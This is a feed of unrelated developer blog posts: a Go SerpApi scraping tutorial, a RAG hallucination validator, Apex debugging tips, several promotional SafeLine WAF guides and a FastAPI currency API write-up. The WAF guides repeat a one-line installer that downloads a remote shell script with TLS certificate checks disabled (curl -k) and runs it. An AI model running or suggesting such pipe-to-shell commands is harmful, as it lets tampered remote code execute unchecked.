Examples using public third-party APIs. Not affiliated with or endorsed by any API provider. All trademarks belong to their respective owners.

I'm Pires Aurélio , a Go/Python developer from Angola. I build scrapers in production and document everything in public.

My work:

Main scraper (Python/AsyncIO): https://github.com/Aureliopires186/py-websites-scraper
Go SerpApi Examples: https://github.com/Aureliopires186/go-serpapi-examples
Jobs Scraper Tracker: https://github.com/Aureliopires186/-serpApi-go-jobs-scraper/issues/3
Blog - How to build REST API in Go: https://blogspotangola.blogspot.com/2026/09/how-to-create-simple-rest-api-with.html
LinkedIn: https://www.linkedin.com/in/pires-aurélio-511330385

For 2 years I scraped sites with pure Python/Go. Then I hit Google. Everything broke.

This tutorial is how I solved it with Go + SerpApi.

1. Why My Python Scraper Failed on Google

My repo py-websites-scraper uses asyncio + aiohttp + readability-lxml. Great for blogs.

But for Google Jobs / Shopping:

CAPTCHA in 10 requests
429 blocks
Selectors change weekly

I was spending 80% time fighting anti-bot, 20% building features. Wrong.

2. Why SerpApi + Go Is The Stack

SerpApi handles proxies, CAPTCHAs, parsing. You get clean JSON.
Go handles concurrency perfectly.

My stack now: Go + SerpApi + Gin REST API (as I teach in my blog)

3. Setup (2 minutes)

go mod init go-serpapi-demo
go get github.com/serpapi/google-search-results-golang
go get github.com/gin-gonic/gin
export SERPAPI_KEY=your_free_key_from_serpapi.com

#. Example 1: Google Jobs - (Fixed):


package main

import (
  "fmt"
  "log"
  "os"

  g "github.com/serpapi/google-search-results-golang"
)

func main() {
  apiKey := os.Getenv("SERPAPI_KEY")
  if apiKey == "" {
    log.Fatal("SERPAPI_KEY is not set")
  }

  params := map[string]string{
    "engine": "google_jobs",
    "q": "Go Developer",
    "location": "Remote",
    "hl": "en",
  }

  search := g.NewGoogleSearch(params, apiKey)
  results, err := search.GetJSON()
  if err!= nil {
    log.Fatalf("SerpApi request failed: %v", err)
  }

  jobsRaw, ok := results["jobs_results"].([]interface{})
  if!ok {
    log.Printf("No jobs_results in response: %+v", results)
    return
  }

  if len(jobsRaw) == 0 {
    fmt.Println("No jobs found")
    return
  }

  for _, j := range jobsRaw {
    jobMap, ok := j.(map[string]interface{})
    if!ok {
      continue
    }
    fmt.Printf("[%v] %v - %v\n", jobMap["via"], jobMap["title"], jobMap["company_name"])
  }
}


#. Example 2: Google Shopping Price Tracker: ( Fixed):


package main

import (
  "fmt"
  "log"
  "os"

  g "github.com/serpapi/google-search-results-golang"
)

func main() {
  apiKey := os.Getenv("SERPAPI_KEY")
  if apiKey == "" {
    log.Fatal("SERPAPI_KEY is not set")
  }

  params := map[string]string{
    "engine": "google_shopping",
    "q": "golang book",
  }

  search := g.NewGoogleSearch(params, apiKey)
  results, err := search.GetJSON()
  if err!= nil {
    log.Fatalf("failed to get shopping results: %v", err)
  }

  shoppingResults, ok := results["shopping_results"].([]interface{})
  if!ok {
    log.Printf("No shopping_results found: %+v", results)
    return
  }

  fmt.Printf("Found %d products\n", len(shoppingResults))
  for _, item := range shoppingResults {
    if m, ok := item.(map[string]interface{}); ok {
      fmt.Printf("- %v: %v\n", m["title"], m["price"])
    }
  }
}




______________

By:Pires Aurélio 
Contact: *Emails are not allowed* 
https://blogspotangola.blogspot.com/?m=1
https://www.linkedin.com/in/pires-aur%C3%A9lio-511330385

Catching AI Red-Handed in Financial Data

Tue, 29 Sep 2026 19:43:55 +0000

When I was building security auditing tools like Git Secret Scanner, the rules were binary: a vulnerability exists, or it doesn't. But when you start building Generative AI pipelines for institutional finance, things get dangerously blurry.

Almost every RAG tutorial online shows you how to chunk a PDF, throw it into a vector database, and build a chatbot. That works fine for toy applications. But in an enterprise banking environment, a single hallucinated decimal point or a swapped currency symbol isn't just a bug—it’s a regulatory compliance violation.

Standard Retrieval-Augmented Generation (RAG) relies on dense vector search, which maps text based on semantic meaning. The problem? "Q2 Revenue was $40M" and "Q3 Revenue was $40M" are semantically identical to a vector database, but completely different to a financial auditor.

I needed a way to force language models to be mathematically deterministic. So, I built FinGuard-RAG.

The Problem: Silent Hallucinations

Let's say you ask an LLM for a company's Q3 revenue based on an SEC 10-K filing. The vector search pulls the right context, but the LLM decides to get creative.

# The Source Text retrieved from our Vector DB
source_context = "The company reported a total operating revenue of $45.2 million for the third quarter of 2023."

# The LLM's generated output (Silent Hallucination)
llm_output = "In Q3 2023, the company saw a total operating revenue of €45.2 million."

If you pass this back to a user, you just swapped Dollars for Euros. A standard LLM evaluation metric (like BLEU or semantic similarity) will score this output highly because the text looks almost perfect.

The Fix: Introducing FinGuard-RAG

In high-stakes environments, we need a "fiduciary-grade" safety net. FinGuard-RAG is a lightweight, deterministic Python library that mathematically extracts every number, date, and currency from both the source text and the generated text, comparing them strictly.

If the LLM outputs a number or currency that does not explicitly exist in the source document, the pipeline crashes.

Here is how you implement it in your generation loop:

from finguard_rag import FiduciaryValidator
from finguard_rag.exceptions import ComplianceHallucinationError

# 1. Initialize the strict validator
validator = FiduciaryValidator(strict_mode=True)

source_text = "The company reported a total operating revenue of $45.2 million for the third quarter of 2023."
generated_text = "In Q3 2023, the company saw a total operating revenue of €45.2 million."

try:
    # 2. Run the deterministic check before returning the output to the user
    audit_result = validator.validate_generation(
        source_context=source_text,
        llm_response=generated_text
    )
    print("Response is compliance-verified. Safe to serve.")

except ComplianceHallucinationError as error:
    # 3. Catch the hallucination red-handed
    print(f" BLOCKED: {error.message}")
    print(f"Failed Entities: {error.mismatched_entities}")

The Result

Instead of silently passing bad financial data to an end-user, FinGuard-RAG intercepts the response and outputs:

BLOCKED: Generated text contains numerical/currency entities not present in the source context. Failed Entities: {'currencies': ['€']}

The Future of AI in Finance

As we move toward deploying autonomous AI agent swarms to execute trades or write financial reports, deterministic guardrails are no longer optional—they are the mandatory foundation. We cannot scale autonomous agents without a fiduciary-grade safety net.

I have just open-sourced the initial framework for FinGuard-RAG. If you are building AI pipelines for fintech, hedge funds, or banking, I'd love for you to test it, break it, and help set a new standard for deterministic AI.

Check out the code, drop a star, or open a PR:

{% github alamshoaib134/FinGuard-RAG %}

Debugging Salesforce Apex - 8 Gotchas That Waste Everyone's Weekend

Tue, 29 Sep 2026 18:45:24 +0000

title: Debugging Salesforce Apex - 8 Gotchas That Waste Everyone's Weekend
published: true
description: 8 Gotchas That Waste Everyone's Weekend
tags: salesforce, apex, debugging, tutorial

published_at: 2026-07-17 13:16 +0000

If you've ever stared at a Salesforce debug log wondering why a trigger fired twice, why your query "worked yesterday," or why a batch job silently ate an exception — this one's for you.

Apex debugging is different from debugging most languages because you're not just fighting your own code. You're fighting governor limits, an opaque order of execution, and a debug log format that seems designed to hide the one line you need. Here are the gotchas that trip people up most, with real code.

1. Your `catch` block is swallowing the actual error

This is the single most common reason "nothing shows up in the logs":

try {
    insert accounts;
} catch (Exception e) {
    System.debug('Something went wrong');
}

You caught the exception, printed a string with zero context, and moved on. When it breaks in production, you have nothing to go on.

Fix:

try {
    insert accounts;
} catch (DmlException e) {
    for (Integer i = 0; i < e.getNumDml(); i++) {
        System.debug(LoggingLevel.ERROR,
            'DML failed on row ' + e.getDmlIndex(i) +
            ': ' + e.getDmlMessage(i));
    }
    throw e; // don't swallow it unless you have a real reason to
}

Catch specific exception types (DmlException, QueryException, NullPointerException) instead of generic Exception whenever you can — the specific types give you methods like getDmlMessage() and getDmlIndex() that a bare Exception doesn't.

2. Debug logs get truncated at 2MB — and truncate from the middle

Salesforce debug logs have a hard 20MB size cap per transaction, but the piece you actually read in Setup often gets cut around 2MB depending on log level. When a log is huge, Salesforce removes lines from the middle, not the end — so you'll see the start of your transaction and the finish, with the actual bug missing.

Fix: Don't set every category to FINEST. Set only what you need:

APEX_CODE: DEBUG (not FINEST)
DB: INFO
WORKFLOW: INFO
VALIDATION: INFO
CALLOUT: INFO

FINEST on APEX_CODE logs every variable assignment and method entry/exit — it's the fastest way to blow past the size limit and lose the exact line you care about.

3. Governor limits don't show up until they blow up

Apex is multi-tenant, so you get hard caps: 100 SOQL queries, 150 DML statements, 10,000 SOQL rows, 10 seconds of synchronous CPU time. The gotcha isn't that limits exist — it's that code that looks fine in isolation fails the moment it runs in bulk (more on that in #4).

Instrument before you hit the wall:

System.debug('SOQL queries used: ' + Limits.getQueries() + ' / ' + Limits.getLimitQueries());
System.debug('DML used: ' + Limits.getDmlStatements() + ' / ' + Limits.getLimitDmlStatements());
System.debug('CPU time: ' + Limits.getCpuTime() + ' / ' + Limits.getLimitCpuTime());

Drop these at the top and bottom of suspect methods. When someone says "it works for one record but times out on a bulk import," this is how you find out where.

4. SOQL/DML inside a `for` loop — the classic that still gets everyone

// DO NOT DO THIS
for (Contact c : triggerNew) {
    Account a = [SELECT Id, Name FROM Account WHERE Id = :c.AccountId]; // query in a loop
    a.Last_Contact_Date__c = Date.today();
    update a; // DML in a loop
}

This passes code review constantly because the person testing it only inserted one record. Insert 200 Contacts via a Data Loader batch and you'll blow past the 100-query or 150-DML limit instantly.

Fix — bulkify it:

Set<Id> accountIds = new Set<Id>();
for (Contact c : triggerNew) {
    if (c.AccountId != null) accountIds.add(c.AccountId);
}

Map<Id, Account> accountsToUpdate = new Map<Id, Account>(
    [SELECT Id, Name FROM Account WHERE Id IN :accountIds]
);

for (Contact c : triggerNew) {
    if (accountsToUpdate.containsKey(c.AccountId)) {
        accountsToUpdate.get(c.AccountId).Last_Contact_Date__c = Date.today();
    }
}

update accountsToUpdate.values();

One query, one DML statement, regardless of batch size.

5. `Test.startTest()` / `Test.stopTest()` reset limits — this can hide real bugs

@isTest
static void testBulkInsert() {
    List<Account> accs = TestDataFactory.createAccounts(200);
    Test.startTest();
    insert accs;
    Test.stopTest();
    // asserts...
}

Test.startTest() gives you a fresh set of governor limits and forces async work (@future, queueables, batch chunks) to run synchronously inside stopTest(). That's great for testing async logic — but it also means limit-related bugs that would show up in a single real transaction can hide inside your test because the limits reset partway through. If a bug only appears in production and never in tests, check whether your DML/queries are split across the startTest/stopTest boundary in a way production traffic never gets.

6. Relationship field queries return `null`, not an exception — until you touch a field on them

Contact con = [SELECT Id, Account.Name, Account.Owner.Email FROM Contact WHERE Id = :conId];
System.debug(con.Account.Name); // fine if Account exists
System.debug(con.Account.Owner.Email); // NullPointerException if Account is null

If AccountId is null on that Contact, con.Account itself is null — and reaching for .Owner on a null Account throws a NullPointerException with a stack trace that just says "line 47," giving you no hint about which relationship was null.

Fix: Guard each hop, or flatten with a null-safe pattern:

String ownerEmail = (con.Account != null && con.Account.Owner != null)
    ? con.Account.Owner.Email
    : null;

7. `without sharing` vs `with sharing` causes silent missing data, not errors

public without sharing class DataProcessor {
    public List<Account> getAccounts() {
        return [SELECT Id, Name FROM Account]; // sees ALL records, ignores sharing rules
    }
}

The dangerous version of this bug is the reverse: a class declared with sharing (or with no declaration, which inherits the caller's context) queries fewer records than expected for a particular user, and nothing throws an error — the query just returns 3 rows instead of 300. This is brutal to debug because it looks like a data problem, not a code problem.

Fix: When you get a "missing records" bug report, check the sharing keyword on every class in the call stack before you touch the query itself. Explicitly declare with sharing / without sharing / inherited sharing on every class — don't rely on the default.

8. Async debug logs don't show up where you're looking

@future methods, Queueable jobs, and Batch Apex execute in a separate transaction, often minutes later, under a different debug log entry than the one you're staring at.

@future
public static void updateRelatedRecords(Set<Id> recordIds) {
    System.debug('This log will NOT appear in the log of the code that called this method');
    // ...
}

Fix: Set up a trace flag on the user, not just for a single anticipated transaction, and go to Setup → Debug Logs to find the log entry with a later timestamp and an "Application: Async" indicator. For batch jobs, check Setup → Apex Jobs for the Job ID, and consider writing key checkpoints to a custom object or Exception records so you have a permanent record instead of a log that expires.

Quick reference

Symptom	Likely cause
Works with 1 record, fails on bulk import	SOQL/DML inside a loop
Log is huge but missing the actual error	Log level set to FINEST, middle got truncated
NullPointerException with no useful detail	Unguarded relationship field traversal
User reports missing data, no error thrown	Sharing rules / `with sharing` mismatch
`System.debug` never shows up	Code ran in an async context — check Apex Jobs
Passes in test, fails in prod	Test isolated by `startTest`/`stopTest` boundary

Debugging Apex is mostly about knowing where to look — the log level, the sharing context, and whether you're even looking at the right transaction. Get those three things right and most "mystery bugs" stop being mysterious.

What's the Apex bug that took you the longest to track down? Drop it in the comments.

How to Prevent XSS with a WAF: Filter the Payload Before It Lands

Tue, 29 Sep 2026 03:12:37 +0000

How to Prevent XSS with a WAF: Filter the Payload Before It Lands

Cross-site scripting (XSS) is one of the oldest web vulnerabilities — and still one of the most common. It lets an attacker run script in your users' browsers: stealing sessions, defacing pages, or pivoting into deeper access. The good news is that XSS is also highly preventable, and a WAF is a strong first layer.

This guide covers where a WAF fits in XSS defense, and what your application still needs to do.

What XSS is, quickly

XSS happens when untrusted input is reflected into a page and executed as script. The classic case: a comment field that renders user text without escaping, so <script>...</script> runs in every visitor's browser. There are also stored and DOM-based variants, but the core problem is the same — untrusted data treated as code.

Where a WAF helps

A WAF sits in front of your app and inspects incoming requests. For XSS, that means it can block malicious payloads in the request — the <script> tags, event handlers, and obfuscated encodings — before they ever reach your application. That stops a large share of opportunistic, automated XSS attempts cold.

SafeLine, a self-hosted WAF, does this with a semantic detection engine that analyzes request content rather than matching a static signature list. It catches XSS patterns in parameters and bodies — including the kinds of encoding tricks attackers use to slip past naive filters — and drops the request at the edge.

A WAF is especially valuable as a safety net: even if a new input path ships without perfect escaping, the WAF catches the payload on the way in.

But a WAF is one layer, not the whole story

XSS defense is layered, and the application side matters just as much:

Output encoding / escaping — encode data for the context it's rendered in (HTML, attribute, JS, URL). This is the primary control.
Content-Security-Policy (CSP) — restrict which scripts can execute, drastically limiting the blast radius of any XSS that slips through.
Input validation — reject or sanitize unexpected input at the boundary.
HttpOnly + Secure cookies — make session cookies unreadable to script, so even a successful XSS can't easily steal a session.
Framework protections — most modern frameworks auto-escape; keep them on and avoid dangerouslySetInnerHTML-style escapes.

Think of the WAF as the perimeter and the app-side controls as the inner wall. Both should be in place.

Deploying the WAF layer

Bring up SafeLine as a reverse proxy in front of your app:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

In the console at https://<your-server-ip>:9443, add your site and point its upstream at your app. With request filtering enabled, XSS payloads are blocked at the edge. Pair that with CSP and output encoding in your code, and XSS becomes a solved class of problem.

FAQ

Does a WAF fully prevent XSS on its own?

It blocks the majority of automated and known payloads, but it shouldn't be your only control. CSP and output encoding are still essential.

Will XSS filtering break legitimate form input?

Normal text passes through; only payloads that match attack patterns are blocked. Sanity-check your real forms after enabling, as you would with any new filter.

Is SafeLine's detection signature-based?

No — it uses a semantic engine that evaluates request intent, which catches obfuscated or encoded payloads that simple pattern lists miss.

Do I need to change app code to add the WAF?

No. It runs in front of your app as a proxy, so the filtering is infrastructure, not application logic.

That's it — your app now has a request-filtering layer against XSS at the edge.

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — see the dashboard in action (no login required)

Self-Hosted API Protection: How to Put a WAF in Front of Your API

Tue, 29 Sep 2026 03:10:29 +0000

Self-Hosted API Protection: How to Put a WAF in Front of Your API

APIs are where the valuable data lives — and where attackers go first. A public API endpoint is a direct door to your logic, your database, and your users' sessions. If you self-host your API, you can also self-host its first line of defense: a WAF sitting in front of it, filtering traffic before it reaches your handlers.

Here's how to protect a self-hosted API with a WAF, and where SafeLine fits.

Why APIs are attractive targets

Unlike a rendered web page, an API speaks machine-to-machine — and that means requests are structured, predictable, and easy to script. Attackers go after:

Authentication endpoints — credential stuffing, token abuse, brute force.
Injection in parameters — SQL or command injection through query strings and JSON bodies.
Abuse and scraping — automated clients hammering endpoints for data or compute.
Malformed payloads — probing for parser or deserialization bugs.

A WAF can't fix a broken auth scheme, but it can stop the bulk of automated abuse at the edge.

What a WAF does for an API

Placed as a reverse proxy in front of your API service, a WAF:

Inspects every request, including JSON bodies and query parameters, for attack patterns.
Blocks injection and known malicious payloads before they reach your code.
Rate limits per client, per key, or per path — so one abusive caller can't monopolize the API.
Manages bots, separating automated tooling from legitimate integrations.

Where SafeLine fits

SafeLine is a self-hosted WAF that runs in reverse-proxy mode, so you point your API's traffic at it and it forwards clean requests to your upstream service. For API protection specifically:

Its semantic detection engine analyzes request content — parameters, headers, and bodies — to catch injection and malicious payloads that static rules miss.
Rate limiting can be applied per path, which is ideal for throttling login, token, or search endpoints.
It's self-hosted and free to run (Community Edition covers up to 10 apps at 800 QPS), so protecting an internal or public API doesn't add a vendor bill.

SafeLine won't replace proper auth and input validation in your code — but it removes the flood of automated junk so your application logic only sees traffic worth handling.

Putting it in front of your API

Deploy SafeLine as the proxy in front of your API service:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

In the console at https://<your-server-ip>:9443, add a site whose upstream is your API (for example http://127.0.0.1:8080). Route your API's DNS or gateway at SafeLine's listener, then set rate limits on your most-sensitive paths (auth, token refresh). From there, every request is filtered and throttled before it touches your API.

FAQ

Does a WAF replace API authentication?

No. You still need solid auth and authorization in your app. A WAF stops automated abuse and injection; it doesn't decide who's allowed in.

Will it break legitimate API clients?

Rate limits are set above normal client behavior, and the detection engine targets malicious patterns — legitimate requests pass through. Test against your real client traffic when configuring.

Can it inspect JSON request bodies?

Yes — a semantic engine evaluates the request content, including structured bodies, rather than only matching URLs or headers.

Is this free to self-host?

The Community Edition is free to run indefinitely and covers up to 10 apps at 800 QPS, which is plenty for a typical API footprint.

That's it — your API now has a filtering and rate-limiting layer in front of it.

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — see the dashboard in action (no login required)

How to Stop Credential Stuffing Attacks: Protect Your Login Endpoints

Mon, 28 Sep 2026 02:21:08 +0000

Credential stuffing is one of the most common — and most quietly damaging — attacks against web apps. It's not a clever exploit of a zero-day; it's brute force at scale, using passwords stolen from other breaches to log into accounts elsewhere. If your users reuse passwords (most do), some of those attempts will eventually work.

The good news: credential stuffing is largely automated, and automated traffic is exactly what a WAF placed in front of your login endpoint is good at stopping. Here's a practical defense.

What credential stuffing looks like

An attacker feeds a list of email:password pairs — harvested from past breaches — into a script that fires login requests at your site. Two traits give it away:

Volume from few sources — thousands of attempts from a narrow set of IPs or a botnet.
Automated behavior — requests arrive faster than a human types, often with missing headers, fingerprinted clients, or shared user-agents.

Humans don't log in 500 times a minute. Bots do.

Layer your defenses

No single control stops everything, but a few stack cleanly:

Rate limit the login path. Cap how many attempts a single IP or account can make per minute. Genuine users rarely need more than a handful.
Detect and challenge bots. Identify automated clients by behavior, not just IP, and challenge or block the ones that look like stuffing tools.
Add MFA or step-up auth for suspicious logins. Even a correct password from a flagged session hits a second factor.
Watch for credential-stuffing signatures — known-bad IP ranges, impossible travel, and repeated failures across many accounts.

Where SafeLine fits

SafeLine is a self-hosted WAF that sits in reverse-proxy mode in front of your app, so every login request passes through it first. For credential stuffing specifically:

Its semantic detection engine inspects requests and flags abnormal or malicious patterns before they reach your login handler.
Bot management distinguishes automated clients from real users, so scripted stuffing traffic can be throttled or blocked.
Frequency/rate limiting can be applied per path — including your login endpoint — to cap attempts and starve the attack of throughput.

SafeLine won't replace MFA, but it removes the bulk of automated noise before it ever touches your application logic.

Deploy SafeLine as the reverse proxy in front of your service:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

In the console at https://<your-server-ip>:9443, add your app and point its upstream at your login service. Then configure a frequency limit on the login route so no single source can hammer it. From that point, login attempts are filtered and rate-limited at the edge.

FAQ

Does a WAF alone stop credential stuffing?

It removes the bulk of automated traffic, but pairing it with MFA and account-level lockouts closes the gaps a WAF can't see.

Will rate limiting lock out real users?

Set limits above normal human behavior (a few attempts per minute), and legitimate users are unaffected while bots are throttled.

Is this the same as a brute-force attack?

Similar, but credential stuffing uses real leaked credentials rather than guessing randomly — which is why detecting automation matters more than detecting wrong passwords.

Do I need to change my app code?

No. SafeLine operates in front of your app as a proxy, so the defense is infrastructure, not application logic.

That's it — your login endpoint now has a layer of automated protection in front of it.

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — see the dashboard in action (no login required)

FSCSS auto-loop: percentage keyframes

Sat, 26 Sep 2026 07:18:17 +0000

This snippet builds a stepped “processing 0% → 99% → done” animation by looping an array into @keyframes percentages — not a JS timer.

Setup

npm install -g fscss@latest
VS Code: FSCSS language support (FSCSS Support)
File: my-first-fscss.fscss → compile or runtime-load

Source (your idea, tightened)

h2::after {
  content: "...";
  animation: count 10s steps(100) forwards;
}

/* 1, 2, … 99  (auto list for keyframe stops) */
@arr numlist[count(99)]

@define counter(start:ing..., process:ing..., end:ed){`
  0% {
    content: "@use(start)0%";
  }
  @arr.numlist[]% {
    content: "@use(process)@arr.numlist[]%";
  }
  100% {
    content: "@use(end)";
  }
`}

@keyframes count {
  @counter(Processing..., Processing..., Processed)
}

What “auto-loop” is here

Piece	Role
`count(99)`	Builds a numeric list used as 1–99 (engine: `count(n)` / `count(n, 1)` → index list).
`@arr numlist[…]`	Stores that list.
`@arr.numlist[]`	Auto-index: expand once per item.
`@arr.numlist[]%`	Each item becomes a keyframe selector: `1%`, `2%`, … `99%`.
`@define counter(…)`	Template for the keyframe body; `@use(start\|process\|end)` fills labels.
`@counter(…)` inside `@keyframes`	Injects the whole ladder into `count`.

So the loop is compile-time expansion, not for in the browser.

Breakdown

1. Target

h2::after {
  content: "...";
  animation: count 10s steps(100) forwards;
}

Animates content on the pseudo-element.
steps(100) ≈ one visual step per percent over 10s.
forwards keeps the final Processed text.

2. Index array

@arr numlist[count(99)]

Same family as modules indexes: a list long enough to drive stops. Here each value is also the percentage number in the output.

3. Reusable keyframe block

@define counter(start:…, process:…, end:…){` … `}

0% — intro label + 0%.
@arr.numlist[]% — for each n in numlist, emit:
- selector: n%
- content: "<process>n%"
100% — final label only (e.g. Processed).

4. Wire into a named animation

@keyframes count {
  @counter(Processing..., Processing..., Processed)
}

Expands to a long @keyframes count { … } with ~100 content stops.

Shape of compiled CSS (illustrative)

Exact quoting depends on the compiler; structure is:

h2::after {
  content: "...";
  animation: count 10s steps(100) forwards;
}

@keyframes count {
  0% {
    content: "Processing...0%";
  }
  1% {
    content: "Processing...1%";
  }
  2% {
    content: "Processing...2%";
  }
  /* … */
  99% {
    content: "Processing...99%";
  }
  100% {
    content: "Processed";
  }
}

That is the auto-loop: one array walk → many keyframe rules.

Example HTML

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>FSCSS auto-loop counter</title>
  <script src="https://cdn.jsdelivr.net/npm/fscss@1.2.4/runtime.min.js" async></script>
  <link type="text/fscss" href="my-first-fscss.fscss">
  <!-- or: <link rel="stylesheet" href="my-first-fscss.css"> after CLI -->
  <style>
    body {
      font-family: system-ui, sans-serif;
      padding: 2rem;
      background: #0f172a;
      color: #e2e8f0;
    }
    h2 {
      font-size: 1.25rem;
      font-weight: 600;
    }
    h2::after {
      margin-left: 0.35em;
      color: #38bdf8;
    }
  </style>
</head>
<body>
  <h2>Status</h2>
  <!-- ::after shows Processing...0% → … → Processed -->
</body>
</html>

Compile

fscss my-first-fscss.fscss my-first-fscss.css

Mental model

count(99)  →  list of stops
@arr.x[]%  →  “for each item, emit item% { … }”
@define    →  reuse labels (start / process / end)
@keyframes →  holds the expanded ladder

Auto-loop = array auto-index used as keyframe percentages (or selectors elsewhere), so one definition drives N rules.

Variants

Progress label only: change @use(process) strings.
Fewer steps: count(20) + shorter animation / steps(20).
Same pattern for staggered selectors: *Emails are not allowed*[] { animation-delay: … } (as in arrays docs).

How I Built and Monetized a Currency Exchange Rate API with FastAPI, Deployed it on Render, and Published it on RapidAPI.

Thu, 24 Sep 2026 16:03:18 +0000

Introduction:
In order to build passive income streams, I decided to publish APIs on RapidAPI. The idea is straightforward: build a useful API once, set up freemium pricing tiers, and earn recurring monthly income from subscribers.
In this post we will see how I built a Currency Exchange Rate API using FastAPI and Python, deployed it on Render, and published it on RapidAPI. I'll walk through the entire process including a debugging issue that cost me a few hours and might save you the same frustration.

The Tech Stack

FastAPI — chose this over Flask and Express because it auto-generates interactive API documentation at /docs out of the box, which is extremely useful when setting up and testing endpoints before publishing
Python — straightforward for API work, massive community support
ExchangeRate-API — free data source providing live rates for 160+ currencies, no scraping needed
Render — free tier hosting with simple GitHub deployment
RapidAPI — marketplace where developers discover and subscribe to APIs

The Three Endpoints

# 1. Get latest rates for any base currency
GET /latest?base=USD

# 2. Convert between two currencies
GET /convert?from=USD&to=INR&amount=100

# 3. List all supported currencies
GET /currencies

Here's the core conversion endpoint:

@app.get("/convert")
async def convert_currency(
    from_currency: str = Query(alias="from"),
    to_currency: str = Query(alias="to"),
    amount: float = Query(default=1.0)
):
    from_currency = from_currency.upper()
    to_currency = to_currency.upper()

    async with httpx.AsyncClient() as client:
        response = await client.get(
            f"{BASE_URL}/pair/{from_currency}/{to_currency}/{amount}"
        )
        data = response.json()
        return {
            "from": from_currency,
            "to": to_currency,
            "amount": amount,
            "rate": data["conversion_rate"],
            "converted": data["conversion_result"],
            "date": data["time_last_update_utc"]
        }

The Debugging Problem I faced
I originally built the API using Frankfurter (api.frankfurter.app) as the data source — it's free, requires no API key, and is backed by the European Central Bank. Perfect on paper.
The problem: when I tested with curl in the terminal, Frankfurter returned data perfectly. But when FastAPI made the same request using httpx, I kept getting this error:

{"detail": "Could not fetch rates for base currency: USD"}

After some debugging I ran this:

python -c "import urllib.request; print(urllib.request.urlopen('https://api.frankfurter.dev/latest').read())"

And got back:

urllib.error.HTTPError: HTTP Error 403: Forbidden

Frankfurter was blocking Python requests because they didn't include a browser-like User-Agent header. The server was rejecting anything that looked like a script.
I tried adding a User-Agent header to httpx but the issue persisted on my network. The clean fix was switching to ExchangeRate-API which has a proper free tier, returns consistent JSON, and works reliably with Python requests.
If you hit a 403 from a data source that works fine in the browser but fails in Python — check your User-Agent header first, and if that doesn't work, switch to a more developer-friendly data source.

Deploying on Render
Render's free tier is enough to get started. The setup takes about 5 minutes:

Push your code to GitHub
Connect the repo to Render → New Web Service
Set the start command: uvicorn main:app --host 0.0.0.0 --port 8000
Add your API key as an environment variable
Deploy

One important note — store your API key as an environment variable on Render, not hardcoded in your code. Use python-dotenv locally and os.getenv() to read it:

import os
from dotenv import load_dotenv
load_dotenv()
EXCHANGE_RATE_API_KEY = os.getenv("EXCHANGE_RATE_API_KEY")

The free tier has one limitation — cold starts. After 15 minutes of inactivity Render spins down your service and the first request takes 30-60 seconds to wake up. Upgrade to the $7/month starter plan once you have paying subscribers — your first subscriber covers the cost.

Publishing on RapidAPI
Once your API is live on Render, publishing on RapidAPI takes about 20 minutes:

Go to rapidapi.com/provider → Add New API
Add your Render URL as the Base URL
Add each endpoint with its query parameters
Set up freemium pricing tiers
Write a README and submit for review
RapidAPI review takes 24-48 hours. Once approved your API is discoverable by thousands of developers searching the marketplace.

Closing
The full API is live on RapidAPI — https://rapidapi.com/dhritibaruah20/api/currency-exchange-rate-api9. Free tier available with 100 requests/month.
I'm also building more APIs as part of a broader strategy to generate passive income as a developer.

Best Self-Hosted WAF for Small Business: What to Look For

Thu, 24 Sep 2026 02:27:39 +0000

Best Self-Hosted WAF for Small Business: What to Look For

Small businesses get attacked at roughly the same rate as everyone else, but they rarely have a security team to absorb the hit. A web application firewall (WAF) is one of the highest-leverage defenses you can put in front of your site — and for a small business, a self-hosted WAF is often the most sensible way to run one.

This guide walks through what actually matters when you're picking a WAF for a small business, and why a self-hosted option like SafeLine's free Community Edition deserves a serious look.

What a small business actually needs from a WAF

Enterprise WAF buying guides are full of features most small businesses will never touch. Strip it back to what you really need:

Protection from the common stuff — SQL injection, cross-site scripting, and automated bots are the daily background noise of the internet. A WAF should block these out of the box, without you hand-writing rules.
Easy to set up — if deployment takes a senior engineer a week, it won't happen. The best WAF for a small business is the one you'll actually turn on.
Low or no cost — small margins mean every recurring subscription is a decision. Free is a strong default when the protection is real.
Minimal upkeep — you don't have spare cycles to babysit it. It should run quietly once configured.

Why self-hosted fits small businesses

A self-hosted WAF runs on infrastructure you already control — a spare VM, a small VPS, or a node in your existing stack. That changes the economics in your favor:

No per-app or per-request billing. Cloud WAFs often charge by traffic or by the number of protected services. Self-hosted shifts that to a flat server cost you're likely already paying.
Data stays with you. Traffic inspection happens on your own hardware, which matters if you have residency or compliance preferences.
No lock-in. You're not tied to one vendor's console, pricing changes, or feature gates.

The trade-off is real but small: you own the box, so you handle the host. For most small businesses that's a fair exchange for removing a monthly bill.

How to evaluate options

When you compare self-hosted WAFs, score them on four things:

Detection quality — does it actually catch injection and bot traffic, or just pattern-match a stale signature list?
Install friction — how many commands from zero to a protected site?
Resource footprint — can it run on a modest box alongside other services?
Price ceiling — what do you pay as you grow?

Where SafeLine fits

SafeLine is a self-hosted WAF by Chaitin. Its free Community Edition is a strong fit for small businesses because it covers the needs above without a subscription:

Free forever, self-hosted, and covers up to 10 applications at 800 QPS.
Ships with a semantic detection engine that blocks SQL injection, XSS, and bots without signature tuning.
Installs with a single command and runs on a modest host — roughly 1 CPU, 1 GB RAM, and 5 GB disk at minimum.
Management console on https://<your-server-ip>:9443.

That combination — free, low-footprint, and genuinely protective — is exactly what most small businesses are looking for.

Getting started

The fastest path is the one-line installer, which brings up the whole stack (console, detection engine, database, cache) as containers:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

Open the console, add your first site, and point its upstream at your app. If you grow past 10 apps or 800 QPS, paid tiers (Lite and Pro) raise the ceiling without changing how the WAF behaves.

FAQ

Do I need a WAF if I already use HTTPS?

Yes. HTTPS encrypts traffic; it doesn't stop an attacker from sending a malicious request to your login form. A WAF inspects what's inside the request.

Is the free tier enough for a small business?

